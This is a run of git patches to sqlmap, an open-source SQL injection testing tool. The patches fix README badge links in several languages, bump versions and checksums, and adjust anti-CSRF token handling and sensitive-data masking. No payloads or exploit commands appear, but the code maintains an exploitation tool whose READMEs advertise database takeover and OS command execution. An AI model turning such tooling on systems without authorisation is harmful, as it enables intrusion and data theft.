scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 711e919f705..354341b536b 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index bcc3485897a..7cf7f4ff60f 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index ea42053a328..e88cfaae9c9 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RUS.md index 4e46b296025..1aa5875fd57 100644 --- a/doc/translations/README-ru-RUS.md +++ b/doc/translations/README-ru-RUS.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index d1f6238c04e..916574d752a 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index ddbedef9fe7..8b687f13862 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 5eee311860e..61d6e9c3a7e 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 diff --git a/lib/core/settings.py b/lib/core/settings.py index f56eccfd0bc..6d776a93f91 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.5" +VERSION = "1.3.3.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 5520305cff2..93831abe414 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -1cd62a025c607338eb55d673375b4444 lib/core/settings.py +876529091deda9b41e53885480386bf1 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 8189a10a5c413160628c3a6e36b44e178290beb1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 6 Mar 2019 11:20:57 +0100 Subject: [PATCH 130/800] Fixes #3517 --- lib/core/option.py | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 2 ++ txt/checksum.md5 | 6 +++--- 4 files changed, 8 insertions(+), 6 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 8c11befa0f5..689ae0f8bcd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1690,8 +1690,8 @@ def _cleanupOptions(): re.compile(conf.csrfToken) if re.escape(conf.csrfToken) != conf.csrfToken: - message = "provided value for option '--csrf-token' is a regular expression? [Y/n] " - if not readInput(message, default='Y', boolean=True): + message = "provided value for option '--csrf-token' is a regular expression? [y/N] " + if not readInput(message, default='N', boolean=True): conf.csrfToken = re.escape(conf.csrfToken) except re.error: conf.csrfToken = re.escape(conf.csrfToken) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6d776a93f91..cebde8ae352 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.6" +VERSION = "1.3.3.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2d6bc8338f9..8ceacd6f71f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -983,6 +983,8 @@ def _adjustParameter(paramString, parameter, newValue): token = AttribDict() page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) if not match: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 93831abe414..288c5a546bf 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -43,14 +43,14 @@ abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 947f41084e551ff3b7ef7dda2f25ef20 lib/core/optiondict.py -5d21cede75bd8043a0b9f2605047ea07 lib/core/option.py +aa327bbad1d25b60cd2a95b4846241eb lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -876529091deda9b41e53885480386bf1 lib/core/settings.py +517b9f2f5e37f75cc872a7b0741a3fcf lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -d2e7673ed4838a321b825ea1854ea2c0 lib/request/connect.py +5141f518c79355ce0e1fcd11a942f324 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 663c15a1bff76e73dfe0959c5bce55d780203e16 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 6 Mar 2019 12:31:06 +0100 Subject: [PATCH 131/800] Minor patch related to the #3518 --- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cebde8ae352..bdcb7fa11b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.7" +VERSION = "1.3.3.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8ceacd6f71f..145564e38c7 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -603,7 +603,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + logHeaders = "".join(responseHeaders.headers).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) @@ -770,7 +770,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + logHeaders = "".join(responseHeaders.headers).strip() if not skipLogTraffic: logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 288c5a546bf..cdaff75f7cc 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -517b9f2f5e37f75cc872a7b0741a3fcf lib/core/settings.py +d4e63b95ac045f4adce348b6b30fb780 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -5141f518c79355ce0e1fcd11a942f324 lib/request/connect.py +81fada8da9101ba62f819e1e77cf4194 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 91348b28b47bccbe9dbd50ed81bc8e8cc329bc4f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 6 Mar 2019 16:39:09 +0100 Subject: [PATCH 132/800] Patch for #3519 --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bdcb7fa11b7..5857c64daad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.8" +VERSION = "1.3.3.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index d19ca7ef805..9d3ca9af01b 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -393,7 +393,7 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index cdaff75f7cc..655dd2fe9b9 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,10 +50,10 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -d4e63b95ac045f4adce348b6b30fb780 lib/core/settings.py +10052581ade5d3c9d98d735eff8fb9b7 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py -43772ea73e9e3d446f782af591cb4eda lib/core/target.py +0a5b0a97a36c19022665f66858fd7450 lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py 5c369aefa7c5af85dee9212acdf94bbc lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py From 09e8c26f8ad3c513feabffcf890ed594812af800 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 6 Mar 2019 17:35:19 +0100 Subject: [PATCH 133/800] Fixes #3519 --- lib/core/settings.py | 2 +- lib/request/connect.py | 5 +++++ txt/checksum.md5 | 4 ++-- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5857c64daad..8df222edf0f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.9" +VERSION = "1.3.3.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 145564e38c7..624a281934e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -972,6 +972,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString + + if urlencode(parameter) in paramString: + parameter = urlencode(parameter) + match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) @@ -979,6 +983,7 @@ def _adjustParameter(paramString, parameter, newValue): match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + return retVal token = AttribDict() diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 655dd2fe9b9..7104cbc6924 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -10052581ade5d3c9d98d735eff8fb9b7 lib/core/settings.py +1ed091ad5a1a44ecff6809e8e3079644 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 0a5b0a97a36c19022665f66858fd7450 lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -81fada8da9101ba62f819e1e77cf4194 lib/request/connect.py +cc180a0770a564f8eb0a001775bf1900 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 666618885796fc6aee932624a8ceff96fc5d1fa0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 7 Mar 2019 14:55:25 +0100 Subject: [PATCH 134/800] To prevent ugly unhandled cases like #3523 --- lib/core/common.py | 2 +- lib/core/settings.py | 4 ++-- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8bc0fc5f909..540de5be16a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3501,7 +3501,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitution diff --git a/lib/core/settings.py b/lib/core/settings.py index 8df222edf0f..eb140611c9a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.10" +VERSION = "1.3.3.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -378,7 +378,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z" # Regex used for masking sensitive data -SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s" +SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s" # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside) SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", 